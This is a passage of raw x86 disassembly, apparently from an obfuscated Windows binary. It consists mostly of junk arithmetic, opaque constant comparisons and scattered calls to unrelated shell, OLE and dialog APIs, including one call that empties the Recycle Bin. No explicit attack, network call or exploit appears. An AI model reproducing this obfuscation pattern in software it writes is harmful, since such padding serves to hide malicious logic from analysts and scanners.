mov eax, dword [ebp - 0x5f8c]
mov dword [eax], edx
movzx ecx, word [ebp - 0x2df0]
mov dword [ebp - 0x610c], ecx
cmp dword [ebp - 0x610c], 0x3f5
je 0x42b2d5
cmp dword [ebp - 0x610c], 0x465
je 0x42b294
jmp 0x42b2f8
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [ebp - 0x27d0]
xor eax, dword [edx]
mov dword [ebp - 0x2960], eax
mov ecx, dword [ebp - 0x5f8c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x42e4]
mov eax, dword [ebp - 0x5ab4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
movsx eax, byte [ebp + 0xc]
add edx, eax
mov byte [ebp - 0x3cc2], dl
jmp 0x42b2f8
lea ecx, [ebp - 0x51a8]
push ecx
lea edx, [ebp - 0x34cc]
push edx
push 0x4a
lea eax, [ebp - 0x11dc]
push eax
call dword [sym.imp.ole32.dll_BindMoniker]
mov dword [ebp - 0xa8c], eax
jmp 0x42b393
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
movsx eax, byte [ebp + 8]
sub edx, eax
mov ecx, dword [ebp - 0x5cc4]
mov byte [ecx], dl
movzx edx, word [ebp - 0x1ff8]
mov dword [ebp - 0x6110], edx
cmp dword [ebp - 0x6110], 0x38e
je 0x42b32f
jmp 0x42b381
movzx eax, word [ebp - 0x2df0]
movzx ecx, word [ebp - 0x5668]
and eax, ecx
mov word [ebp - 0x1ff8], ax
mov edx, dword [ebp - 0xee0]
mov ecx, dword [ebp - 0x1ff8]
call fcn.004721c0
movsx edx, byte [ebp - 0x3cc2]
movsx eax, byte [ebp + 0xc]
add edx, eax
mov ecx, dword [ebp - 0x5cc4]
mov byte [ecx], dl
lea edx, [ebp - 0x158]
push edx
call dword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [ebp - 0xa8c], eax
jmp 0x42b393
mov eax, dword [ebp - 0x2b4c]
sub eax, dword [ebp - 0xee0]
mov dword [ebp - 0x26b8], eax
movzx ecx, byte [ebp + 0x18]
movzx edx, byte [ebp - 0x9b9]
add ecx, edx
mov byte [ebp - 0xf3d], cl
mov dword [ebp - 0x9b4], 0xdc8a
mov dword [ebp - 0x526c], 0x2ebb
mov dword [ebp - 0x2000], 0xd523
mov eax, dword [ebp - 0x2000]
sub eax, 0xb2
mov dword [ebp - 0x2000], eax
movsx ecx, byte [ebp - 0x3cc2]
movsx edx, byte [ebp + 0xc]
add ecx, edx
mov eax, dword [ebp - 0x5cc4]
mov byte [eax], cl
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [ebp - 0x42e4]
sub edx, dword [ecx]
mov dword [ebp - 0x27d0], edx
movsx eax, byte [ebp - 0x3cc2]
movsx ecx, byte [ebp + 8]
shl eax, cl
mov ecx, dword [ebp - 0x5cc4]
mov byte [ecx], al
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [ebp - 0x2960]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x4d68]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5f8c]
mov eax, dword [ebp - 0x4d68]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x5ab4]
mov dword [edx], ecx
movzx eax, word [ebp - 0x1ff8]
movzx ecx, word [ebp - 0x2df0]
or eax, ecx
mov word [ebp - 0x5668], ax
movzx edx, byte [ebp - 0x9b9]
movzx eax, byte [ebp + 0x18]
and edx, eax
mov byte [ebp - 0xf3d], dl
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x3cc2]
sub edx, eax
mov ecx, dword [ebp - 0x5cc4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [edx]
add eax, dword [ebp - 0x2960]
mov ecx, dword [ebp - 0x5ab4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5cc4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x3cc2]
sub eax, ecx
mov edx, dword [ebp - 0x5cc4]
mov byte [edx], al
movsx eax, byte [ebp + 8]
movsx ecx, byte [ebp + 0xc]
add eax, ecx
mov byte [ebp - 0x3cc2], al
movzx edx, byte [ebp - 0x9b9]
movzx eax, byte [ebp + 0x18]
and edx, eax
mov byte [ebp - 0xf3d], dl
movzx ecx, word [ebp - 0x1ff8]
movzx edx, word [ebp - 0x5668]
add ecx, edx
mov word [ebp - 0x2df0], cx
mov eax, dword [ebp - 0x5f8c]
mov ecx, dword [ebp - 0x2960]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x4d68]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5ab4]
mov ecx, dword [ebp - 0x5f8c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4d68]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4d68]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x5f8c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x5ab4]
mov dword [ecx], edx
movsx edx, byte [ebp - 0x3cc2]
movsx eax, byte [ebp + 8]
or edx, eax
mov ecx, dword [ebp - 0x5cc4]
mov byte [ecx], dl
mov edx, dword [ebp - 0xee0]
mov ecx, dword [ebp - 0x26b8]
shl edx, cl
mov dword [ebp + 0x14], edx
mov eax, dword [ebp - 0x2960]
xor eax, dword [ebp - 0x27d0]
mov ecx, dword [ebp - 0x5f8c]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x3cc2]
movsx ecx, byte [ebp + 0xc]
sar edx, cl
mov eax, dword [ebp - 0x5cc4]
mov byte [eax], dl
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [ebp - 0x2960]
and edx, dword [ecx]
mov dword [ebp - 0x27d0], edx
mov eax, dword [ebp - 0xee0]
add eax, dword [ebp - 0x2b4c]
mov dword [ebp - 0x26b8], eax
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x3cac]
mov dword [ebp - 0x27d0], edx
mov eax, dword [ebp - 0x2b4c]
sub eax, dword [ebp - 0xee0]
mov dword [ebp + 0x14], eax
movsx ecx, byte [ebp - 0x3cc2]
movsx edx, byte [ebp + 0xc]
add ecx, edx
mov eax, dword [ebp - 0x5cc4]
mov byte [eax], cl
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x3cc2]
add edx, eax
mov ecx, dword [ebp - 0x5cc4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x5cc4]
mov al, byte [edx]
mov byte [ebp + 0xc], al
movsx ecx, byte [ebp + 0xc]
movsx edx, byte [ebp + 8]
and ecx, edx
mov byte [ebp - 0x3cc2], cl
mov eax, dword [ebp - 0x26b8]
sub eax, dword [ebp - 0x2b4c]
mov dword [ebp + 0x14], eax
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [ecx]
add edx, dword [ebp - 0x3cac]
mov eax, dword [ebp - 0x5ab4]
mov dword [eax], edx
movzx ecx, word [ebp - 0x1ff8]
movzx edx, word [ebp - 0x5668]
sub ecx, edx
mov word [ebp - 0x2df0], cx
mov eax, dword [ebp - 0x4d68]
mov ecx, dword [ebp - 0x5f8c]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x4d68]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4d68]
mov edx, dword [ebp - 0x5f8c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x4d68]
mov dword [ecx], eax
cmp dword [ebp - 0x2000], 0xbab7
jae 0x42b3c4
movzx eax, word [ebp - 0x5668]
movzx ecx, word [ebp - 0x2df0]
cdq
idiv ecx
movzx edx, word [ebp - 0x1ff8]
cmp eax, edx
je 0x42b732
lea eax, [ebp - 0x42e4]
mov dword [ebp - 0xed0], eax
mov cl, byte [ebp - 0x9b9]
mov byte [ebp - 0x6114], cl
cmp byte [ebp - 0x6114], 0xb
je 0x42b6df
cmp byte [ebp - 0x6114], 0x67
je 0x42b719
jmp 0x42b72d
mov edx, dword [ebp - 0x4d68]
mov eax, dword [ebp - 0x27d0]
and eax, dword [edx]
mov dword [ebp - 0x42e4], eax
lea ecx, [ebp - 0x26b8]
mov dword [ebp - 0x3da8], ecx
lea edx, [ebp - 0x2df0]
mov dword [ebp - 0x351c], edx
mov al, byte [ebp - 0xf3d]
mov byte [ebp - 0x44ad], al
jmp 0x42b72d
mov ecx, dword [ebp - 0x3cac]
sub ecx, dword [ebp - 0x42e4]
mov edx, dword [ebp - 0xed0]
mov dword [edx], ecx
jmp 0x42b7f0
movsx eax, word [ebp + 0x10]
cmp eax, 0x65e8
jle 0x42b7f0
mov cl, byte [ebp - 0xf3d]
mov byte [ebp - 0x6118], cl
cmp byte [ebp - 0x6118], 0x27
je 0x42b764
cmp byte [ebp - 0x6118], 0xb2
je 0x42b7d6
jmp 0x42b7f0
lea edx, [ebp - 0x3180]
push edx
call dword [sym.imp.SHELL32.dll_ILFindLastID]
mov dword [ebp - 0x1090], eax
mov eax, dword [ebp - 0x2960]
add eax, dword [ebp - 0x42e4]
mov dword [ebp - 0x3cac], eax
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2b4c]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
push 0x18
call dword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov dword [ebp - 0x22cc], eax
mov ecx, dword [ebp - 0x4d68]
mov edx, dword [ebp - 0x42e4]
add edx, dword [ecx]
mov eax, dword [ebp - 0xed0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x26b8]
mov dword [ebp + 0x14], edx
jmp 0x42b7f0
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x3cc2]
sub ecx, edx
mov eax, dword [ebp - 0x5cc4]
mov byte [eax], cl
mov dword [ebp - 0x378c], 0xac1c
mov cx, word [ebp + 0x10]
mov word [ebp - 0x36b0], cx
mov edx, dword [ebp - 0x27d0]
and edx, dword [ebp - 0x3cac]
mov eax, dword [ebp - 0x4d68]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x5f8c]
add ecx, dword [eax]
cmp edx, ecx
jle 0x42b897
movsx ecx, word [ebp - 0x36b0]
mov dword [ebp - 0x611c], ecx
cmp dword [ebp - 0x611c], 0x7efd
je 0x42b840
jmp 0x42b87e
push 0x90
mov edx, dword [ebp - 0xfc8]
push edx
mov eax, dword [ebp - 0x182c]
push eax
call dword [sym.imp.COMCTL32.dll_DrawInsert]
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
movsx eax, byte [ebp + 0xc]
xor edx, eax
mov ecx, dword [ebp - 0x5cc4]
mov byte [ecx], dl
call dword [sym.imp.ole32.dll_CoResumeClassObjects]
mov dword [ebp - 0x37a4], eax
jmp 0x42b897
movzx edx, word [ebp - 0x5668]
mov eax, dword [ebp - 0x351c]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x2df0], dx
movsx ecx, word [ebp - 0x36b0]
mov dword [ebp - 0x6120], ecx
cmp dword [ebp - 0x6120], 0x843
je 0x42b9bb
cmp dword [ebp - 0x6120], 0x5cc9
je 0x42b8c5
jmp 0x42ba06
mov edx, dword [ebp - 0x3da8]
mov eax, dword [edx]
mov dword [ebp - 0x1bc0], eax
mov dword [ebp - 0x3790], 0xa5dd
movzx edx, word [ebp - 0x1ff8]
movzx eax, word [ebp - 0x2df0]
or edx, eax
movzx eax, word [ebp - 0x5668]
mov ecx, dword [ebp - 0x351c]
movzx ecx, word [ecx]
shl eax, cl
cmp edx, eax
jle 0x42b988
mov edx, dword [ebp - 0x5f8c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4d68]
add eax, dword [ecx]
mov dword [ebp - 0x3cac], eax
mov dword [ebp - 0x388], 0x25ff
lea edx, [ebp - 0x44ad]
mov dword [ebp - 0x3118], edx
lea eax, [ebp - 0x2df0]
mov dword [ebp - 0x5600], eax
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
sub edx, dword [ebp + 0x14]
mov dword [ebp - 0xee0], edx
lea eax, [ebp - 0x42e4]
mov dword [ebp - 0x539c], eax
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [ecx]
add edx, dword [ebp - 0x3cac]
mov eax, dword [ebp - 0x539c]
mov dword [eax], edx
mov dword [ebp - 0x457c], 0x27c8
mov dword [ebp - 0x23c4], 0x9014
jmp 0x42b9b9
movsx ecx, byte [ebp - 0x3cc2]
movsx edx, byte [ebp + 0xc]
add ecx, edx
movsx eax, byte [ebp + 8]
mov edx, dword [ebp - 0x5cc4]
movsx edx, byte [edx]
and eax, edx
cmp ecx, eax
jle 0x42b9b9
mov eax, dword [ebp - 0x1bc0]
sub eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x3da8]
mov dword [ecx], eax
jmp 0x42ba06
mov edx, dword [ebp - 0x351c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1ff8]
sub eax, ecx
mov word [ebp - 0x5668], ax
lea edx, [ebp - 0x158]
push edx
lea eax, [ebp - 0xbb0]
push eax
call dword [sym.imp.ole32.dll_CoGetTreatAsClass]
mov dword [ebp - 0x840], eax
movzx ecx, byte [ebp - 0xf3d]
movzx edx, byte [ebp - 0x9b9]
add ecx, edx
mov eax, dword [ebp - 0x3118]
mov byte [eax], cl
movsx ecx, byte [ebp + 8]
mov edx, dword [ebp - 0x5cc4]
movsx eax, byte [edx]
add ecx, eax
movsx edx, byte [ebp - 0x3cc2]
movsx eax, byte [ebp + 0xc]
and edx, eax
cmp ecx, edx
jl 0x42bb8c
mov ecx, dword [ebp - 0x539c]
mov edx, dword [ebp - 0xed0]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x3cac]
sar edx, cl
cmp eax, edx
jge 0x42ba91
mov eax, dword [ebp - 0xee0]
sub eax, dword [ebp - 0x1bc0]
mov dword [ebp + 0x14], eax
mov ecx, dword [ebp - 0x5f8c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2960]
mov eax, dword [ebp - 0x4d68]
mov dword [eax], edx
lea ecx, [ebp - 0xe9c]
push ecx
push fcn.004d1cd0
mov edx, dword [ebp - 0x2310]
push edx
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x3180], eax
mov eax, dword [ebp - 0x5cc4]
mov cl, byte [eax]
mov byte [ebp - 0x6124], cl
cmp byte [ebp - 0x6124], 0x1e
je 0x42baba
cmp byte [ebp - 0x6124], 0x55
je 0x42bb73
jmp 0x42bb87
movsx edx, word [ebp + 0x10]
and edx, 0xfc5
mov word [ebp - 0x36b0], dx
mov eax, dword [ebp - 0x5cc4]
mov cl, byte [eax]
mov byte [ebp - 0x6128], cl
cmp byte [ebp - 0x6128], 0x61
je 0x42bae4
jmp 0x42bb55
mov edx, dword [ebp - 0x5cc4]
movsx eax, byte [edx]
movsx ecx, byte [ebp + 0xc]
add eax, ecx
mov edx, dword [ebp - 0x5cc4]
mov byte [edx], al
lea eax, [ebp - 0x22cc]
push eax
lea ecx, [ebp - 0x44ad]
push ecx
push 0x86
mov edx, dword [ebp - 0x39fc]
push edx
call dword [sym.imp.ole32.dll_IsAccelerator]
mov dword [ebp - 0xe9c], eax
call fcn.004d7e60
movzx eax, byte [ebp - 0x9b9]
movzx ecx, byte [ebp - 0x44ad]
add eax, ecx
mov byte [ebp + 0x18], al
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x44ad]
sub eax, ecx
mov edx, dword [ebp - 0x3118]
mov byte [edx], al
jmp 0x42bb71
lea eax, [ebp - 0x2310]
push eax
push 0x5e
lea ecx, [ebp - 0x36b0]
push ecx
call dword [sym.imp.ole32.dll_CoGetStdMarshalEx]
mov dword [ebp - 0xa8c], eax
jmp 0x42bb87
mov edx, dword [ebp - 0x1bc0]
add edx, dword [ebp - 0x26b8]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
jmp 0x42bc7c
mov ecx, dword [ebp - 0x3118]
movzx edx, byte [ecx]
movzx eax, byte [ebp + 0x18]
sub edx, eax
movzx ecx, byte [ebp - 0x9b9]
movzx eax, byte [ebp - 0x44ad]
sub ecx, eax
cmp edx, ecx
jle 0x42bbea
movzx ecx, word [ebp - 0x5668]
push ecx
mov edx, dword [ebp - 0x5cc4]
movzx eax, byte [edx]
push eax
movzx ecx, word [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x3118]
mov dl, byte [edx]
mov cl, byte [ebp + 0x18]
call fcn.00478870
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x26b8]
mov dword [ebp - 0x1bc0], ecx
mov edx, dword [ebp - 0x5f8c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x5ab4]
add eax, dword [ecx]
mov edx, dword [ebp - 0x4d68]
mov dword [edx], eax
mov eax, dword [ebp - 0x3cac]
mov dword [ebp - 0x612c], eax
cmp dword [ebp - 0x612c], 0x195bd57b
je 0x42bc28
cmp dword [ebp - 0x612c], 0x3d7fb6c0
je 0x42bc64
jmp 0x42bc7c
push 0xe9
lea ecx, [ebp - 0x3da8]
push ecx
push fcn.00478870
mov edx, dword [ebp - 0x182c]
push edx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x18a4], eax
mov eax, dword [ebp - 0x3118]
movzx ecx, byte [eax]
push ecx
movzx edx, word [ebp - 0x2df0]
push edx
call section..text
jmp 0x42bc7c
mov eax, dword [ebp - 0x5f8c]
mov edx, dword [ebp - 0x2960]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x539c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ebp - 0x26b8]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0xee0]
or eax, dword [ebp - 0x2b4c]
cmp edx, eax
jbe 0x42bcc5
lea ecx, [ebp - 0x17c8]
push ecx
call dword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [ebp - 0x18a4], eax
mov edx, dword [ebp - 0x539c]
mov eax, dword [ebp - 0xed0]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x2960], ecx
lea edx, [ebp - 0x1ff8]
mov dword [ebp - 0x3f0c], edx
mov dword [ebp - 0xe8c], 0x852f
mov al, byte [ebp - 0xf3d]
mov byte [ebp - 0x6130], al
cmp byte [ebp - 0x6130], 0
je 0x42bcf5
jmp 0x46cc41
mov ecx, dword [ebp - 0x3118]
movzx edx, byte [ecx]
movzx ecx, byte [ebp + 0x18]
sar edx, cl
movzx eax, byte [ebp - 0x9b9]
movzx ecx, byte [ebp - 0x44ad]
or eax, ecx
cmp edx, eax
je 0x46cc04
lea edx, [ebp - 0xf3d]
mov dword [ebp - 0x5b24], edx
mov eax, dword [ebp - 0x351c]
mov cx, word [eax]
mov word [ebp - 0x5180], cx
mov edx, dword [ebp - 0x3da8]
mov eax, dword [edx]
mov dword [ebp - 0x6134], eax
cmp dword [ebp - 0x6134], 0
je 0x42bd64
cmp dword [ebp - 0x6134], 0x649279b
je 0x42be2b
jmp 0x42befa
mov ecx, dword [ebp - 0x2960]
mov dword [ebp - 0x6138], ecx
cmp dword [ebp - 0x6138], 0x54cafef0
je 0x42bd81
jmp 0x42be26
movsx edx, word [ebp - 0x36b0]
mov dword [ebp - 0x613c], edx
cmp dword [ebp - 0x613c], 0x30ce
je 0x42bda8
cmp dword [ebp - 0x613c], 0x334d
je 0x42bdfd
jmp 0x42be26
mov eax, dword [ebp - 0x5f8c]
mov ecx, dword [ebp - 0xed0]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x5f8c]
mov dword [eax], edx
lea ecx, [ebp - 0x51a8]
push ecx
lea edx, [ebp - 0x2190]
push edx
lea eax, [ebp - 0x1090]
push eax
mov ecx, dword [ebp - 0x624]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [ebp - 0x3180], eax
mov edx, dword [ebp - 0x3da8]
mov eax, dword [edx]
sub eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x3da8]
mov dword [ecx], eax
jmp 0x42be26
push 0xac
push 0xa8
lea edx, [ebp - 0x4958]
push edx
push 0xdd
mov eax, dword [ebp - 0x49f0]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [ebp - 0xee0], eax
jmp 0x42befa
mov ecx, dword [ebp - 0x27d0]
sub ecx, dword [ebp - 0x2960]
mov dword [ebp - 0x42e4], ecx
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
push eax
movzx ecx, byte [ebp - 0x3cc2]
push ecx
call fcn.004d1cd0
mov edx, dword [ebp - 0x539c]
mov eax, dword [ebp - 0x3cac]
and eax, dword [edx]
mov ecx, dword [ebp - 0xed0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x26b8]
mov dword [ebp - 0x6140], edx
cmp dword [ebp - 0x6140], 0x533dd0f1
je 0x42be84
jmp 0x42be9b
mov eax, dword [ebp - 0x3118]
movzx ecx, byte [eax]
movzx edx, byte [ebp + 0x18]
sub ecx, edx
mov byte [ebp - 0x9b9], cl
jmp 0x42beae
lea eax, [ebp - 0x49f0]
push eax
call dword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [ebp - 0xa6c], eax
mov ecx, dword [ebp - 0x3f0c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x5600]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x351c]
mov word [eax], dx
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ebp - 0x1bc0]
add edx, dword [ecx]
mov dword [ebp - 0x26b8], edx
call fcn.004d7e60
mov eax, dword [ebp - 0xed0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x27d0]
mov edx, dword [ebp - 0x5ab4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x539c]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x5644]
mov edx, dword [ebp - 0x5f8c]
mov dword [edx], ecx
mov dword [ebp - 0x20bc], 0x7876
movsx eax, byte [ebp - 0x3cc2]
mov ecx, dword [ebp - 0x5cc4]
movsx ecx, byte [ecx]
shl eax, cl
movsx edx, byte [ebp + 0xc]
movsx ecx, byte [ebp + 8]
sar edx, cl
cmp eax, edx
je 0x42bfae
push 0x5b
mov eax, dword [ebp - 0x54bc]
push eax
mov ecx, dword [ebp - 0xfc8]
push ecx
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
mov dword [ebp - 0x37a4], eax
movsx edx, byte [ebp - 0x3cc2]
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x5f8c]
mov eax, dword [ebp - 0x2960]
and eax, dword [edx]
mov ecx, dword [ebp - 0xed0]
mov dword [ecx], eax
lea edx, [ebp - 0x2190]
push edx
lea eax, [ebp - 0x39fc]
push eax
lea ecx, [ebp - 0x51a8]
push ecx
push 0xef
lea edx, [ebp - 0x5cc4]
push edx
call dword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [ebp - 0x18a4], eax
mov eax, dword [ebp - 0x27d0]
mov dword [ebp - 0x6144], eax
cmp dword [ebp - 0x6144], 0
je 0x42bfc8
jmp 0x46cb4c
mov ecx, dword [ebp - 0x26b8]
and ecx, dword [ebp - 0xee0]
mov dword [ebp - 0x1bc0], ecx
movzx edx, byte [ebp - 0xf3d]
movzx eax, byte [ebp - 0x44ad]
sub edx, eax
mov byte [ebp + 0x18], dl
movzx ecx, word [ebp - 0x1ff8]
movzx edx, word [ebp - 0x5668]
add ecx, edx
mov eax, dword [ebp - 0x3f0c]
mov word [eax], cx
mov ecx, dword [ebp - 0x539c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x42e4]
mov eax, dword [ebp - 0x5ab4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x9b4]
add ecx, 0x45
mov dword [ebp - 0x9b4], ecx
mov edx, dword [ebp - 0x3da8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xee0]
shr eax, cl
mov ecx, dword [ebp - 0x3da8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x42e4]
xor edx, dword [ebp - 0x27d0]
mov dword [ebp - 0x3cac], edx
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [ebp - 0xee0]
or ecx, dword [eax]
mov dword [ebp + 0x14], ecx
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5b24]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0x3118]
mov byte [edx], al
movzx eax, word [ebp - 0x5180]
movzx ecx, word [ebp - 0x5668]
and eax, ecx
mov edx, dword [ebp - 0x3f0c]
mov word [edx], ax
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xee0]
mov dword [ebp - 0x26b8], ecx
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5b24]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp + 0x18], al
movsx eax, word [ebp - 0x36b0]
add eax, 0x908
mov word [ebp + 0x10], ax
movsx ecx, byte [ebp + 0xc]
mov edx, dword [ebp - 0x5cc4]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x3cc2], cl
mov ecx, dword [ebp - 0x3118]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5b24]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x44ad], dl
mov edx, dword [ebp - 0x3f0c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x351c]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x5180], ax
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x1bc0]
mov edx, dword [ebp - 0x3da8]
mov dword [edx], ecx
movsx eax, word [ebp - 0x36b0]
sub eax, 0x1665
mov word [ebp + 0x10], ax
mov ecx, dword [ebp - 0x5f8c]
mov edx, dword [ebp - 0x27d0]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0xed0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ebp - 0x26b8]
or edx, dword [ecx]
mov dword [ebp - 0x1bc0], edx
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x1bc0]
mov dword [ebp + 0x14], ecx
movzx edx, word [ebp - 0x2df0]
movzx ecx, word [ebp - 0x1ff8]
sar edx, cl
mov eax, dword [ebp - 0x351c]
mov word [eax], dx
movzx ecx, byte [ebp + 0x18]
movzx edx, byte [ebp - 0x44ad]
add ecx, edx
mov eax, dword [ebp - 0x3118]
mov byte [eax], cl
mov ecx, dword [ebp - 0x4d68]
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0xed0]
mov dword [ecx], eax
mov edx, dword [ebp + 0x14]
sub edx, dword [ebp - 0x26b8]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
mov ecx, dword [ebp - 0xed0]
mov edx, dword [ebp - 0x4d68]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x5f8c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [edx]
sub eax, dword [ebp - 0x42e4]
mov ecx, dword [ebp - 0x5f8c]
mov dword [ecx], eax
movzx edx, word [ebp - 0x5668]
movzx eax, word [ebp - 0x5180]
add edx, eax
mov word [ebp - 0x1ff8], dx
mov ecx, dword [ebp - 0x3118]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xf3d]
sub edx, eax
mov byte [ebp - 0x44ad], dl
cmp dword [ebp - 0x9b4], 0xf442
jb 0x42bfc8
lea ecx, [ebp + 0x10]
mov dword [ebp - 0x569c], ecx
lea edx, [ebp - 0x3cc2]
mov dword [ebp - 0x4e90], edx
cmp dword [ebp - 0x526c], 0x46e7
jae 0x42c42a
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1bc0]
mov dword [ebp + 0x14], ecx
mov edx, dword [ebp - 0x539c]
mov eax, dword [ebp - 0x42e4]
add eax, dword [edx]
mov ecx, dword [ebp - 0x5ab4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3118]
movzx eax, byte [edx]
movzx ecx, byte [ebp + 0x18]
and eax, ecx
mov edx, dword [ebp - 0x5b24]
mov byte [edx], al
mov eax, dword [ebp - 0x351c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x5600]
movzx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x3f0c]
mov word [edx], cx
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0xee0]
mov edx, dword [ebp - 0x3da8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2960]
mov ecx, dword [ebp - 0x5644]
shl eax, cl
mov ecx, dword [ebp - 0x539c]
mov dword [ecx], eax
mov edx, dword [ebp - 0xed0]
mov eax, dword [ebp - 0x2960]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x4d68]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3da8]
mov eax, dword [edx]
add eax, dword [ebp - 0x2b4c]
mov dword [ebp + 0x14], eax
